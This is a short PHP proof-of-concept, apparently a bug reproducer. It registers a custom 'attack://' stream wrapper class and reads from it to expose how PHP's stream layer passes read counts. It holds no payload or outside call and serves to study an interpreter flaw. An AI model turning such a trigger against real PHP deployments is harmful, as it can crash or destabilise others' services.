- stream_wrapper_register: documentation ( source)
- fread: documentation ( source)
- fopen: documentation ( source)
<?php
class AttackStream {
function stream_open($path, $mode, $options, &$opened_path)
{
return true;
}
function stream_read($count)
{
echo $count,"\n";
return "AA";
}
function stream_eof()
{
return true;
}
function stream_set_option()
{
return true;
}
function stream_seek($offset, $whence)
{
return false;
}
}
stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol");
$f = fopen("attack://nothing", "r");
fread($f, 1);
?>